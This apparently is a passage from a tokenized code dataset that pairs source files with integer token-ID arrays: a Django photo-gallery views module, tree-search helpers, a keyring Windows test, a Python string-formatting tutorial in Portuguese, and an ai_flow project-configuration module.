29892, 259, 29906, 29892, 259, 29941, 29892, 259, 29946, 29892, 259, 29945, 29892, 259, 29953, 29892, 259, 29955, 29892, 259, 29947, 511, 13, 1678, 3806, 1349, 27464, 3916, 353, 274, 1516, 29889, 29894, 524, 29941, 29906, 29898, 29900, 29892, 29871, 29896, 29892, 29871, 29906, 29892, 29871, 29941, 511, 13, 1678, 3806, 3220, 267, 797, 517, 9780, 353, 274, 1516, 29889, 29894, 13470, 29941, 29906, 29898, 29900, 29892, 29871, 29896, 29892, 29871, 29906, 29892, 29871, 29941, 511, 13, 1678, 3806, 9065, 353, 274, 1516, 29889, 29894, 524, 29941, 29906, 29898, 29900, 29892, 29871, 29896, 29892, 29871, 29906, 29892, 29871, 29941, 29897, 13, 29897, 13, 13, 5014, 29889, 1688, 29907, 353, 274, 1516, 29889, 3352, 2744, 14997, 3298, 703, 1349, 262, 1076, 3057, 2744, 14997, 3298, 613, 13, 1678, 3847, 8176, 353, 274, 1516, 29889, 4290, 8176, 877, 386, 262, 1076, 1349, 292, 23665, 2265, 29909, 5477, 13, 1678, 266, 27464, 8176, 353, 274, 1516, 29889, 4290, 8176, 877, 386, 262, 1076, 1349, 292, 23665, 2265, 29907, 5477, 13, 1678, 15477, 8176, 353, 274, 1516, 29889, 4290, 8176, 877, 386, 262, 1076, 1349, 292, 23665, 2265, 29907, 5477, 13, 1678, 5702, 8176, 353, 274, 1516, 29889, 4290, 8176, 877, 11294, 2776, 1349, 886, 23665, 2265, 29907, 5477, 13, 1678, 3806, 9780, 3916, 353, 274, 1516, 29889, 29894, 524, 29941, 29906, 29898, 29871, 29900, 29892, 259, 29896, 29892, 259, 29906, 29892, 259, 29941, 29892, 259, 29946, 29892, 259, 29945, 29892, 259, 29953, 29892, 259, 29955, 29892, 259, 29947, 511, 13, 1678, 3806, 1349, 27464, 3916, 353, 274, 1516, 29889, 29894, 524, 29941, 29906, 29898, 29946, 29892, 29871, 29945, 29892, 29871, 29953, 29892, 29871, 29955, 511, 13, 1678, 3806, 3220, 267, 797, 517, 9780, 353, 274, 1516, 29889, 29894, 13470, 29941, 29906, 29898, 29946, 29892, 29871, 29945, 29892, 29871, 29953, 29892, 29871, 29955, 511, 13, 1678, 3806, 9065, 353, 274, 1516, 29889, 29894, 524, 29941, 29906, 29898, 29946, 29892, 29871, 29945, 29892, 29871, 29953, 29892, 29871, 29955, 29897, 13, 29897, 13, 13, 5014, 29889, 449, 353, 274, 1516, 29889, 6466, 7355, 703, 11426, 6466, 7355, 613, 13, 1678, 29729, 353, 274, 1516, 29889, 1657, 22282, 287, 29889, 1807, 877, 1688, 1349, 262, 1076, 3057, 29896, 29889, 4632, 5477, 13, 1678, 1962, 5261, 4167, 353, 274, 1516, 29889, 1657, 22282, 287, 29889, 29894, 1807, 29898, 13, 4706, 525, 17462, 334, 742, 13, 4706, 525, 8865, 334, 29918, 1918, 23665, 2265, 29906, 24563, 24563, 742, 13, 4706, 525, 8865, 334, 29918, 386, 262, 1076, 1349, 292, 23665, 2265, 29924, 24563, 24563, 742, 13, 4706, 525, 8865, 334, 29918, 386, 262, 1076, 1349, 292, 23665, 2265, 29940, 24563, 24563, 742, 13, 4706, 525, 8865, 334, 29918, 386, 262, 1076, 1349, 292, 23665, 2265, 29949, 24563, 24563, 29915, 13, 1678, 1723, 13, 29897, 13, 13, 5014, 29889, 449, 29906, 353, 274, 1516, 29889, 6466, 7355, 703, 2624, 3835, 2283, 10507, 613, 13, 1678, 29729, 353, 274, 1516, 29889, 1657, 22282, 287, 29889, 1807, 877, 1688, 1349, 262, 1076, 3835, 261, 449, 29889, 4130, 5477, 13, 1678, 24221, 29918, 5563, 353, 274, 1516, 29889, 1657, 22282, 287, 29889, 524, 29941, 29906, 29898, 29896, 511, 13, 1678, 671, 29918, 510, 2590, 353, 274, 1516, 29889, 1657, 22282, 287, 29889, 11227, 29898, 5574, 511, 13, 1678, 4236, 29918, 3696, 29918, 2311, 353, 274, 1516, 29889, 1657, 22282, 287, 29889, 524, 29941, 29906, 29898, 29955, 29900, 29900, 29900, 29900, 29900, 29900, 511, 13, 1678, 1962, 5261, 4167, 353, 274, 1516, 29889, 1657, 22282, 287, 29889, 29894, 1807, 29898, 13, 4706, 525, 17462, 334, 742, 13, 4706, 525, 8865, 334, 29918, 1918, 23665, 2265, 24563, 24563, 742, 13, 4706, 525, 8865, 334, 29918, 1918, 23665, 2265, 29906, 24563, 24563, 742, 13, 4706, 525, 8865, 334, 29918, 386, 262, 1076, 1349, 292, 23665, 2265, 29928, 24563, 24563, 742, 13, 4706, 525, 8865, 334, 29918, 386, 262, 1076, 1349, 292, 23665, 2265, 29950, 24563, 24563, 742, 13, 4706, 525, 8865, 334, 29918, 386, 262, 1076, 1349, 292, 23665, 2265, 29902, 24563, 24563, 742, 13, 4706, 525, 8865, 334, 29918, 386, 262, 1076, 1349, 292, 23665, 2265, 29967, 24563, 24563, 742, 13, 4706, 525, 8865, 334, 29918, 386, 262, 1076, 1349, 292, 23665, 2265, 29968, 24563, 24563, 742, 13, 4706, 525, 8865, 334, 29918, 386, 262, 1076, 1349, 292, 23665, 2265, 29931, 24563, 24563, 742, 13, 4706, 525, 8865, 334, 29918, 386, 262, 1076, 1349, 292, 23665, 2265, 29924, 24563, 24563, 742, 13, 4706, 525, 8865, 334, 29918, 386, 262, 1076, 1349, 292, 23665, 2265, 29940, 24563, 24563, 742, 13, 4706, 525, 8865, 334, 29918, 386, 262, 1076, 1349, 292, 23665, 2265, 29949, 24563, 24563, 742, 13, 4706, 525, 8865, 334, 29918, 19973, 29924, 24563, 24563, 742, 13, 4706, 525, 8865, 334, 29918, 19973, 29940, 24563, 24563, 29915, 13, 1678, 1723, 13, 29897, 13, 13, 5014, 29889, 29886, 353, 274, 1516, 29889, 2605, 29898, 5014, 29889, 1918, 23665, 2265, 334, 1889, 29889, 1918, 23665, 2265, 29906, 13, 462, 462, 965, 334, 1889, 29889, 11294, 2776, 1349, 886, 23665, 2265, 29909, 13, 462, 462, 965, 334, 1889, 29889, 11294, 2776, 1349, 886, 23665, 2265, 29933, 13, 462, 462, 965, 334, 1889, 29889, 11294, 2776, 1349, 886, 23665, 2265, 29907, 13, 462, 462, 965, 334, 1889, 29889, 11294, 2776, 1349, 886, 23665, 2265, 29928, 13, 462, 462, 965, 334, 1889, 29889, 11294, 2776, 1349, 886, 23665, 2265, 29928, 29575, 13, 462, 462, 965, 334, 1889, 29889, 11294, 2776, 1349, 886, 23665, 2265, 29923, 13, 462, 462, 965, 334, 1889, 29889, 11294, 2776, 1349, 886, 23665, 2265, 29943, 13, 462, 462, 965, 334, 1889, 29889, 11294, 2776, 1349, 886, 23665, 2265, 29954, 13, 462, 462, 965, 334, 1889, 29889, 11294, 2776, 1349, 886, 23665, 2265, 29950, 13, 462, 462, 965, 334, 1889, 29889, 11294, 2776, 1349, 886, 23665, 2265, 29902, 13, 462, 462, 965, 334, 1889, 29889, 11294, 2776, 1349, 886, 23665, 2265, 29967, 13, 462, 462, 965, 334, 1889, 29889, 11294, 2776, 1349, 886, 23665, 2265, 29968, 13, 462, 462, 965, 334, 1889, 29889, 11294, 2776, 1349, 886, 23665, 2265, 29931, 13, 462, 462, 965, 334, 1889, 29889, 11294, 2776, 1349, 886, 23665, 2265, 29924, 13, 462, 462, 965, 334, 1889, 29889, 11294, 2776, 1349, 886, 23665, 2265, 29940, 13, 462, 462, 965, 334, 1889, 29889, 11294, 2776, 1349, 886, 23665, 2265, 29949, 13, 462, 462, 965, 334, 1889, 29889, 11294, 2776, 1349, 886, 23665, 2265, 29928, 29906, 13, 462, 462, 965, 334, 1889, 29889, 11294, 2776, 1349, 886, 23665, 2265, 29923, 29906, 13, 462, 462, 965, 334, 1889, 29889, 11294, 2776, 1349, 886, 23665, 2265, 29943, 29906, 13, 462, 462, 965, 334, 1889, 29889, 386, 262, 1076, 1349, 292, 23665, 2265, 29909, 13, 462, 462, 965, 334, 1889, 29889, 386, 262, 1076, 1349, 292, 23665, 2265, 29933, 13, 462, 462, 965, 334, 1889, 29889, 386, 262, 1076, 1349, 292, 23665, 2265, 29907, 13, 462, 462, 965, 334, 1889, 29889, 386, 262, 1076, 1349, 292, 23665, 2265, 29928, 13, 462, 462, 965, 334, 1889, 29889, 386, 262, 1076, 1349, 292, 23665, 2265, 29923, 13, 462, 462, 965, 334, 1889, 29889, 386, 262, 1076, 1349, 292, 23665, 2265, 29943, 13, 462, 462, 965, 334, 1889, 29889, 386, 262, 1076, 1349, 292, 23665, 2265, 29954, 13, 462, 462, 965, 334, 1889, 29889, 386, 262, 1076, 1349, 292, 23665, 2265, 29950, 13, 462, 462, 965, 334, 1889, 29889, 386, 262, 1076, 1349, 292, 23665, 2265, 29902, 13, 462, 462, 965, 334, 1889, 29889, 386, 262, 1076, 1349, 292, 23665, 2265, 29967, 13, 462, 462, 965, 334, 1889, 29889, 386, 262, 1076, 1349, 292, 23665, 2265, 29968, 13, 462, 462, 965, 334, 1889, 29889, 386, 262, 1076, 1349, 292, 23665, 2265, 29931, 13, 462, 462, 965, 334, 1889, 29889, 386, 262, 1076, 1349, 292, 23665, 2265, 29924, 13, 462, 462, 965, 334, 1889, 29889, 386, 262, 1076, 1349, 292, 23665, 2265, 29940, 13, 462, 462, 965, 334, 1889, 29889, 386, 262, 1076, 1349, 292, 23665, 2265, 29949, 13, 462, 462, 965, 334, 1889, 29889, 1688, 29909, 13, 462, 462, 965, 334, 1889, 29889, 1688, 29933, 13, 462, 462, 965, 334, 1889, 29889, 1688, 29907, 13, 462, 1678, 1723, 13, 13, 5014, 29889, 355, 2605, 353, 274, 1516, 29889, 5044, 2605, 29898, 5014, 29889, 449, 334, 1889, 29889, 449, 29906, 29897, 13, 2 ]
photo/views.py
alexomaset/Photo-Gallery23
0
197604
from django.shortcuts import render from django.http import HttpResponse import datetime as dt from .models import * # Create your views here. def day_photos(request): date = dt.date.today() photos = Image.objects.all() return render(request, 'day_photos.html', {"date": date,"images":photos}) def image(request, image_id): image = Image.objects.get(id=image_id) return render(request, 'image.html', {'image': image}) def search_results(request): if 'image' in request.GET and request.GET["image"]: search_input = request.GET.get("image") images = Image.search_by_category(search_input) message = f"{search_input}" return render(request, 'search.html',{"images":images,"message":message}) else: message = "You haven't searched for any term" # context={"message":message} return render(request, 'search.html',{"message":message}) def display_images_categories(request): photos = Image.category(1) return render(request, 'category.html', {"photos":photos}) def location_filter(request): photo = Image.location() locations = Location.objects.all() return render(request,'location.html',{"images":images,"locations":locations})
[ 1, 515, 9557, 29889, 12759, 7582, 29879, 1053, 4050, 13, 3166, 9557, 29889, 1124, 1053, 9056, 5103, 13, 5215, 12865, 408, 11636, 13, 3166, 869, 9794, 1053, 334, 13, 29937, 6204, 596, 8386, 1244, 29889, 13, 1753, 2462, 29918, 561, 15788, 29898, 3827, 1125, 13, 1678, 2635, 353, 11636, 29889, 1256, 29889, 27765, 580, 13, 1678, 20612, 353, 7084, 29889, 12650, 29889, 497, 580, 13, 13, 1678, 736, 4050, 29898, 3827, 29892, 525, 3250, 29918, 561, 15788, 29889, 1420, 742, 8853, 1256, 1115, 2635, 1699, 8346, 1115, 561, 15788, 1800, 13, 13, 1753, 1967, 29898, 3827, 29892, 1967, 29918, 333, 1125, 13, 1678, 1967, 353, 7084, 29889, 12650, 29889, 657, 29898, 333, 29922, 3027, 29918, 333, 29897, 13, 1678, 736, 4050, 29898, 3827, 29892, 525, 3027, 29889, 1420, 742, 11117, 3027, 2396, 1967, 1800, 13, 13, 1753, 2740, 29918, 9902, 29898, 3827, 1125, 13, 268, 13, 1678, 565, 525, 3027, 29915, 297, 2009, 29889, 7194, 322, 2009, 29889, 7194, 3366, 3027, 3108, 29901, 13, 4706, 2740, 29918, 2080, 353, 2009, 29889, 7194, 29889, 657, 703, 3027, 1159, 13, 4706, 4558, 353, 7084, 29889, 4478, 29918, 1609, 29918, 7320, 29898, 4478, 29918, 2080, 29897, 13, 4706, 2643, 353, 285, 29908, 29912, 4478, 29918, 2080, 5038, 13, 4706, 13, 13, 4706, 736, 4050, 29898, 3827, 29892, 525, 4478, 29889, 1420, 742, 6377, 8346, 1115, 8346, 1699, 4906, 1115, 4906, 1800, 13, 13, 1678, 1683, 29901, 13, 4706, 2643, 353, 376, 3492, 7359, 29915, 29873, 17371, 363, 738, 1840, 29908, 13, 4706, 396, 3030, 3790, 29908, 4906, 1115, 4906, 29913, 13, 4706, 736, 4050, 29898, 3827, 29892, 525, 4478, 29889, 1420, 742, 6377, 4906, 1115, 4906, 1800, 13, 13, 1753, 2479, 29918, 8346, 29918, 20683, 29898, 3827, 1125, 268, 13, 259, 20612, 353, 7084, 29889, 7320, 29898, 29896, 29897, 13, 259, 736, 4050, 29898, 3827, 29892, 525, 7320, 29889, 1420, 742, 8853, 561, 15788, 1115, 561, 15788, 1800, 13, 13, 1753, 4423, 29918, 4572, 29898, 3827, 1125, 13, 13, 1678, 15373, 353, 7084, 29889, 5479, 580, 13, 1678, 14354, 353, 17015, 29889, 12650, 29889, 497, 580, 13, 1678, 736, 4050, 29898, 3827, 5501, 5479, 29889, 1420, 742, 6377, 8346, 1115, 8346, 1699, 2029, 800, 1115, 2029, 800, 1800, 2 ]
criterion_core/utils/tag_utils.py
criterion-ai/criterion_core
0
101318
<gh_stars>0 def find(tree, key, value): items = tree.get("children", []) if isinstance(tree, dict) else tree for item in items: if item[key] == value: yield item else: yield from find(item, key, value) def find_path(tree, key, value, path=()): items = tree.get("children", []) if isinstance(tree, dict) else tree for item in items: if item[key] == value: yield (*path, item) else: yield from find_path(item, key, value, (*path, item))
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 1753, 1284, 29898, 8336, 29892, 1820, 29892, 995, 1125, 13, 1678, 4452, 353, 5447, 29889, 657, 703, 11991, 613, 518, 2314, 565, 338, 8758, 29898, 8336, 29892, 9657, 29897, 1683, 5447, 13, 1678, 363, 2944, 297, 4452, 29901, 13, 4706, 565, 2944, 29961, 1989, 29962, 1275, 995, 29901, 13, 9651, 7709, 2944, 13, 4706, 1683, 29901, 13, 9651, 7709, 515, 1284, 29898, 667, 29892, 1820, 29892, 995, 29897, 13, 13, 13, 1753, 1284, 29918, 2084, 29898, 8336, 29892, 1820, 29892, 995, 29892, 2224, 29922, 580, 1125, 13, 1678, 4452, 353, 5447, 29889, 657, 703, 11991, 613, 518, 2314, 565, 338, 8758, 29898, 8336, 29892, 9657, 29897, 1683, 5447, 13, 1678, 363, 2944, 297, 4452, 29901, 13, 4706, 565, 2944, 29961, 1989, 29962, 1275, 995, 29901, 13, 9651, 7709, 3070, 2084, 29892, 2944, 29897, 13, 4706, 1683, 29901, 13, 9651, 7709, 515, 1284, 29918, 2084, 29898, 667, 29892, 1820, 29892, 995, 29892, 3070, 2084, 29892, 2944, 876, 13, 13, 2 ]
keyring/tests/backends/test_Windows.py
EnjoyLifeFund/py36pkgs
4
137966
<reponame>EnjoyLifeFund/py36pkgs from __future__ import print_function import sys import unittest import pytest import keyring.backends.Windows from ..test_backend import BackendBasicTests @unittest.skipUnless(keyring.backends.Windows.WinVaultKeyring.viable, "Needs Windows") class WinVaultKeyringTestCase(BackendBasicTests, unittest.TestCase): def tearDown(self): # clean up any credentials created for cred in self.credentials_created: try: self.keyring.delete_password(*cred) except Exception as e: print(e, file=sys.stderr) def init_keyring(self): return keyring.backends.Windows.WinVaultKeyring() @pytest.mark.skipif('sys.platform != "win32"') def test_winvault_always_viable(): """ The WinVault backend should always be viable on Windows. """ assert keyring.backends.Windows.WinVaultKeyring.viable
[ 1, 529, 276, 1112, 420, 29958, 2369, 2212, 29891, 26754, 29943, 870, 29914, 2272, 29941, 29953, 20571, 3174, 13, 3166, 4770, 29888, 9130, 1649, 1053, 1596, 29918, 2220, 13, 13, 5215, 10876, 13, 5215, 443, 27958, 13, 13, 5215, 11451, 1688, 13, 13, 5215, 1820, 5393, 29889, 1627, 1975, 29889, 7685, 13, 3166, 6317, 1688, 29918, 27852, 1053, 7437, 355, 16616, 24376, 13, 13, 13, 29992, 348, 27958, 29889, 11014, 2525, 2222, 29898, 1989, 5393, 29889, 1627, 1975, 29889, 7685, 29889, 17734, 29963, 1292, 2558, 5393, 29889, 1403, 519, 29892, 13, 1678, 376, 8139, 5779, 3852, 1159, 13, 1990, 8892, 29963, 1292, 2558, 5393, 3057, 8259, 29898, 5841, 355, 16616, 24376, 29892, 443, 27958, 29889, 3057, 8259, 1125, 13, 1678, 822, 734, 279, 6767, 29898, 1311, 1125, 13, 4706, 396, 5941, 701, 738, 16140, 2825, 13, 4706, 363, 6625, 297, 1583, 29889, 11944, 9409, 29918, 11600, 29901, 13, 9651, 1018, 29901, 13, 18884, 1583, 29889, 1989, 5393, 29889, 8143, 29918, 5630, 10456, 11944, 29897, 13, 9651, 5174, 8960, 408, 321, 29901, 13, 18884, 1596, 29898, 29872, 29892, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 13, 1678, 822, 2069, 29918, 1989, 5393, 29898, 1311, 1125, 13, 4706, 736, 1820, 5393, 29889, 1627, 1975, 29889, 7685, 29889, 17734, 29963, 1292, 2558, 5393, 580, 13, 13, 13, 29992, 2272, 1688, 29889, 3502, 29889, 11014, 361, 877, 9675, 29889, 12120, 2804, 376, 5080, 29941, 29906, 29908, 1495, 13, 1753, 1243, 29918, 5080, 29894, 1292, 29918, 21936, 29918, 1403, 519, 7295, 13, 1678, 9995, 13, 1678, 450, 8892, 29963, 1292, 14998, 881, 2337, 367, 3516, 519, 373, 3852, 29889, 13, 1678, 9995, 13, 1678, 4974, 1820, 5393, 29889, 1627, 1975, 29889, 7685, 29889, 17734, 29963, 1292, 2558, 5393, 29889, 1403, 519, 13, 2 ]
exemplos/Basico/formatando_valores.py
kalilventura/python
0
154340
""" Formatando valores: :s -> Texto (string) :d -> Inteiro (int) :f -> Números de ponto flutuante (float) :.(NUMERO)f -> Quantidade de casas decimais (float) :(CARACTERE)(> ou < ou ^)(QUANTIDADE)(TIPO - s, d ou f) > -> Esquerda < -> Direita ^ -> Centro """ num_1 = 10 num_2 = 3 divisao = num_1 / num_2 print(f'{divisao:.2f}') # Formatação a esquerda com zeros num_1 = 1 print(f'{num_1:0>10}') num_2 = 1150 print(f'{num_2:0>10}') # Formatação a direita com zeros print(f'{num_1:0<10}') print(f'{num_2:0<10}') # Formatação com o valor centralizado print(f'{num_1:0^10}') print(f'{num_2:0^10}') # Funcionam com qualquer caractere, nao somente com numeros nome = 'John' print('{nome:@>15}'.format(nome=nome))
[ 1, 9995, 13, 1678, 19191, 1743, 659, 2361, 29901, 13, 268, 13, 1678, 584, 29879, 1599, 3992, 29877, 313, 1807, 29897, 13, 1678, 584, 29881, 1599, 512, 371, 3350, 313, 524, 29897, 13, 1678, 584, 29888, 1599, 405, 30030, 1050, 359, 316, 282, 10268, 1652, 329, 29884, 1647, 313, 7411, 29897, 13, 1678, 584, 14030, 13967, 1001, 29949, 29897, 29888, 1599, 22746, 5558, 316, 3209, 294, 1602, 326, 1759, 313, 7411, 29897, 13, 1678, 16824, 29907, 1718, 17923, 27267, 5033, 29958, 2123, 529, 2123, 6228, 5033, 13356, 13566, 1367, 29909, 2287, 5033, 29911, 5690, 29949, 448, 269, 29892, 270, 2123, 285, 29897, 13, 268, 13, 1678, 1405, 1599, 3423, 7808, 1388, 13, 1678, 529, 1599, 14818, 2028, 13, 1678, 6228, 1599, 18726, 13, 15945, 29908, 13, 13, 1949, 29918, 29896, 353, 29871, 29896, 29900, 13, 1949, 29918, 29906, 353, 29871, 29941, 13, 4563, 275, 6241, 353, 954, 29918, 29896, 847, 954, 29918, 29906, 13, 13, 2158, 29898, 29888, 29915, 29912, 4563, 275, 6241, 29901, 29889, 29906, 29888, 29913, 1495, 13, 13, 29937, 3812, 532, 2340, 263, 831, 7808, 1388, 419, 24786, 13, 1949, 29918, 29896, 353, 29871, 29896, 13, 2158, 29898, 29888, 29915, 29912, 1949, 29918, 29896, 29901, 29900, 29958, 29896, 29900, 29913, 1495, 13, 13, 1949, 29918, 29906, 353, 29871, 29896, 29896, 29945, 29900, 13, 2158, 29898, 29888, 29915, 29912, 1949, 29918, 29906, 29901, 29900, 29958, 29896, 29900, 29913, 1495, 13, 13, 29937, 3812, 532, 2340, 263, 2970, 2028, 419, 24786, 13, 13, 2158, 29898, 29888, 29915, 29912, 1949, 29918, 29896, 29901, 29900, 29966, 29896, 29900, 29913, 1495, 13, 2158, 29898, 29888, 29915, 29912, 1949, 29918, 29906, 29901, 29900, 29966, 29896, 29900, 29913, 1495, 13, 13, 29937, 3812, 532, 2340, 419, 288, 16497, 6555, 17566, 13, 13, 2158, 29898, 29888, 29915, 29912, 1949, 29918, 29896, 29901, 29900, 29985, 29896, 29900, 29913, 1495, 13, 2158, 29898, 29888, 29915, 29912, 1949, 29918, 29906, 29901, 29900, 29985, 29896, 29900, 29913, 1495, 13, 13, 29937, 383, 4661, 291, 314, 419, 4021, 7808, 1559, 627, 406, 29892, 1055, 29877, 1047, 2016, 419, 4825, 359, 13, 25155, 353, 525, 11639, 29915, 13, 2158, 877, 29912, 25155, 26984, 29958, 29896, 29945, 29913, 4286, 4830, 29898, 25155, 29922, 25155, 876, 2 ]
flink-ai-flow/ai_flow/api/configuration.py
shanshanpt/flink-ai-extended
0
1609814
<reponame>shanshanpt/flink-ai-extended<gh_stars>0 # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # from typing import Text, Optional import os from ai_flow.project.project_description import get_project_description_from, ProjectDesc from ai_flow.project.project_config import ProjectConfig, _default_project_config from ai_flow.rest_endpoint.service.client.aiflow_client import AIFlowClient _default_project_config_set_flag = False def ensure_project_registered(): """ Ensure the project configured in project.yaml has been registered. """ client = AIFlowClient(server_uri=_default_project_config.get_master_uri()) project_meta = client.get_project_by_name(_default_project_config.get_project_name()) pp = {} for k, v in _default_project_config.items(): pp[k] = str(v) if project_meta is None: project_meta = client.register_project(name=_default_project_config.get_project_name(), properties=pp) else: project_meta = client.update_project(project_name=_default_project_config.get_project_name(), properties=pp) _default_project_config.set_project_uuid(str(project_meta.uuid)) def project_config() -> Optional[ProjectConfig]: """ :return: project configuration """ ensure_project_registered() return _default_project_config def set_project_config_file(config_file: Text): """ Set project config based on project.yaml in client. :param config_file: Path to project.yaml :return: None """ global _default_project_config_set_flag if _default_project_config_set_flag: raise Exception("project configuration cannot be set repeatedly!") else: _default_project_config.load_from_file(config_file) _default_project_config_set_flag = True def set_default_project_config(config: ProjectConfig): global _default_project_config_set_flag if _default_project_config_set_flag: raise Exception("project configuration cannot be set repeatedly!") else: _default_project_config.clear() _default_project_config.update(config) _default_project_config_set_flag = True def get_default_project_config(): return _default_project_config def set_project_master_uri(master_uri: Text): ip_port = master_uri.split(':') _default_project_config.set_master_ip(ip_port[0]) _default_project_config.set_master_port(ip_port[1]) def unset_project_config(): global _default_project_config_set_flag, _default_project_config _default_project_config = ProjectConfig() _default_project_config_set_flag = False _default_project_desc: ProjectDesc = None def project_description()->ProjectDesc: return _default_project_desc def set_project_path(path): global _default_project_desc set_project_config_file(os.path.join(path, 'project.yaml')) _default_project_desc = get_project_description_from(path) _default_project_desc.project_config = _default_project_config
[ 1, 529, 276, 1112, 420, 29958, 845, 550, 5403, 415, 29914, 1579, 682, 29899, 1794, 29899, 1062, 2760, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 29937, 13, 29937, 10413, 21144, 304, 278, 13380, 18540, 10606, 313, 3289, 29943, 29897, 1090, 697, 13, 29937, 470, 901, 17737, 3406, 19405, 8571, 4110, 29889, 29871, 2823, 278, 6058, 12107, 934, 13, 29937, 13235, 411, 445, 664, 363, 5684, 2472, 13, 29937, 11211, 3509, 1266, 27428, 29889, 29871, 450, 3339, 29943, 7794, 11259, 445, 934, 13, 29937, 304, 366, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 13, 29937, 376, 29931, 293, 1947, 1496, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 13, 29937, 411, 278, 19245, 29889, 29871, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 259, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 13, 29937, 7047, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 13, 29937, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 13, 29937, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 29871, 2823, 278, 19245, 363, 278, 13, 29937, 2702, 4086, 14765, 1076, 11239, 322, 27028, 13, 29937, 1090, 278, 19245, 29889, 13, 29937, 13, 3166, 19229, 1053, 3992, 29892, 28379, 13, 5215, 2897, 13, 3166, 7468, 29918, 1731, 29889, 4836, 29889, 4836, 29918, 8216, 1053, 679, 29918, 4836, 29918, 8216, 29918, 3166, 29892, 8010, 19617, 13, 13, 3166, 7468, 29918, 1731, 29889, 4836, 29889, 4836, 29918, 2917, 1053, 8010, 3991, 29892, 903, 4381, 29918, 4836, 29918, 2917, 13, 3166, 7468, 29918, 1731, 29889, 5060, 29918, 29734, 29889, 5509, 29889, 4645, 29889, 29874, 361, 677, 29918, 4645, 1053, 319, 6545, 677, 4032, 13, 13, 29918, 4381, 29918, 4836, 29918, 2917, 29918, 842, 29918, 15581, 353, 7700, 13, 13, 13, 1753, 9801, 29918, 4836, 29918, 9573, 287, 7295, 13, 1678, 9995, 22521, 545, 278, 2060, 13252, 297, 2060, 29889, 25162, 756, 1063, 15443, 29889, 9995, 13, 13, 1678, 3132, 353, 319, 6545, 677, 4032, 29898, 2974, 29918, 5338, 29922, 29918, 4381, 29918, 4836, 29918, 2917, 29889, 657, 29918, 6207, 29918, 5338, 3101, 13, 1678, 2060, 29918, 7299, 353, 3132, 29889, 657, 29918, 4836, 29918, 1609, 29918, 978, 7373, 4381, 29918, 4836, 29918, 2917, 29889, 657, 29918, 4836, 29918, 978, 3101, 13, 1678, 6499, 353, 6571, 13, 1678, 363, 413, 29892, 325, 297, 903, 4381, 29918, 4836, 29918, 2917, 29889, 7076, 7295, 13, 4706, 6499, 29961, 29895, 29962, 353, 851, 29898, 29894, 29897, 13, 1678, 565, 2060, 29918, 7299, 338, 6213, 29901, 13, 4706, 2060, 29918, 7299, 353, 3132, 29889, 9573, 29918, 4836, 29898, 978, 29922, 29918, 4381, 29918, 4836, 29918, 2917, 29889, 657, 29918, 4836, 29918, 978, 3285, 13, 462, 462, 1669, 4426, 29922, 407, 29897, 13, 1678, 1683, 29901, 13, 4706, 2060, 29918, 7299, 353, 3132, 29889, 5504, 29918, 4836, 29898, 4836, 29918, 978, 29922, 29918, 4381, 29918, 4836, 29918, 2917, 29889, 657, 29918, 4836, 29918, 978, 3285, 4426, 29922, 407, 29897, 13, 13, 1678, 903, 4381, 29918, 4836, 29918, 2917, 29889, 842, 29918, 4836, 29918, 25118, 29898, 710, 29898, 4836, 29918, 7299, 29889, 25118, 876, 13, 13, 13, 1753, 2060, 29918, 2917, 580, 1599, 28379, 29961, 7653, 3991, 5387, 13, 1678, 9995, 13, 1678, 584, 2457, 29901, 2060, 5285, 13, 1678, 9995, 13, 1678, 9801, 29918, 4836, 29918, 9573, 287, 580, 13, 1678, 736, 903, 4381, 29918, 4836, 29918, 2917, 13, 13, 13, 1753, 731, 29918, 4836, 29918, 2917, 29918, 1445, 29898, 2917, 29918, 1445, 29901, 3992, 1125, 13, 1678, 9995, 13, 1678, 3789, 2060, 2295, 2729, 373, 2060, 29889, 25162, 297, 3132, 29889, 13, 13, 1678, 584, 3207, 2295, 29918, 1445, 29901, 10802, 304, 2060, 29889, 25162, 13, 1678, 584, 2457, 29901, 6213, 13, 1678, 9995, 13, 1678, 5534, 903, 4381, 29918, 4836, 29918, 2917, 29918, 842, 29918, 15581, 13, 1678, 565, 903, 4381, 29918, 4836, 29918, 2917, 29918, 842, 29918, 15581, 29901, 13, 4706, 12020, 8960, 703, 4836, 5285, 2609, 367, 731, 28424, 29991, 1159, 13, 1678, 1683, 29901, 13, 4706, 903, 4381, 29918, 4836, 29918, 2917, 29889, 1359, 29918, 3166, 29918, 1445, 29898, 2917, 29918, 1445, 29897, 13, 4706, 903, 4381, 29918, 4836, 29918, 2917, 29918, 842, 29918, 15581, 353, 5852, 13, 13, 13, 1753, 731, 29918, 4381, 29918, 4836, 29918, 2917, 29898, 2917, 29901, 8010, 3991, 1125, 13, 1678, 5534, 903, 4381, 29918, 4836, 29918, 2917, 29918, 842, 29918, 15581, 13, 1678, 565, 903, 4381, 29918, 4836, 29918, 2917, 29918, 842, 29918, 15581, 29901, 13, 4706, 12020, 8960, 703, 4836, 5285, 2609, 367, 731, 28424, 29991, 1159, 13, 1678, 1683, 29901, 13, 4706, 903, 4381, 29918, 4836, 29918, 2917, 29889, 8551, 580, 13, 4706, 903, 4381, 29918, 4836, 29918, 2917, 29889, 5504, 29898, 2917, 29897, 13, 4706, 903, 4381, 29918, 4836, 29918, 